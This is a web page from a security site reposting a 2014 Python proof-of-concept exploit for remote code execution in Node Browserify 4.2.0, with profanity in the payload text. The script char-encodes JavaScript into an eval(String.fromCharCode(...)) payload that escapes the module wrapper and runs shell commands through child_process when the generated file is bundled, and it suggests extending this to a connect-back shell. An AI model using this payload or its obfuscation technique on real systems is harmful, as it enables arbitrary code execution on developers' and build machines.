首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Node Browserify 4.2.0 - Remote Code Execution Vulnerability
来源:http://iops.io/blog/ 作者:Leeming 发布时间:2014-07-17  
#!/usr/bin/python
   
"""
Browserify POC exploit
  
http://iops.io/blog/browserify-rce-vulnerability/
   
To run, just do:
   
$ python poc.py > exploit.js
$ browserify exploit.js
BITCH I TOLD YOU THIS SHIT IS FABULOUS
[[garbage output]]
},{}]},{},[1]) 00:08:32 up 12:29,  3 users,  load average: 0.00, 0.02, 0.05
uid=1001(foxx) gid=1001(foxx) groups=1001(foxx),27(sudo),105(fuse)
   
You can also spawn() and create a connect back shell.
   
Enjoy
   
"""
   
def charencode(string):
    encoded=''
    for char in string:
        encoded=encoded+","+str(ord(char))
    return encoded[1:]
   
plaintext = """
   var require = this.process.mainModule.require;
   var sys = require('sys')
   var exec = require('child_process').exec;
   function puts(error, stdout, stderr) { sys.puts(stdout) }
   exec("uptime && id", puts);
   console.log("BITCH I TOLD YOU THIS SHIT IS FABULOUS");
"""
   
payload = charencode(plaintext)
final = "eval(String.fromCharCode(%s));" %(payload)
   
print "});"
print final
print "(function(){"

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Boat Browser 8.0 and 8.0.1 - R
·NTP Amplification Denial Of Se
·Wordpress WPTouch Authenticate
·ACME micro_httpd - Denial of S
·Browserify 4.2.0 Remote Comman
·OpenVAS Manager 4.0 - Authenti
·Oracle VirtualBox Guest Additi
·IBM GCM16/32 1.20.0.22575 - Mu
·Elipse E3 Scada PLC Denial Of
·Raritan PowerIQ 4.1.0 - SQL In
·HP Data protector manager 8.10
·MTS MBlaze Ultra Wi-Fi / ZTE A
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved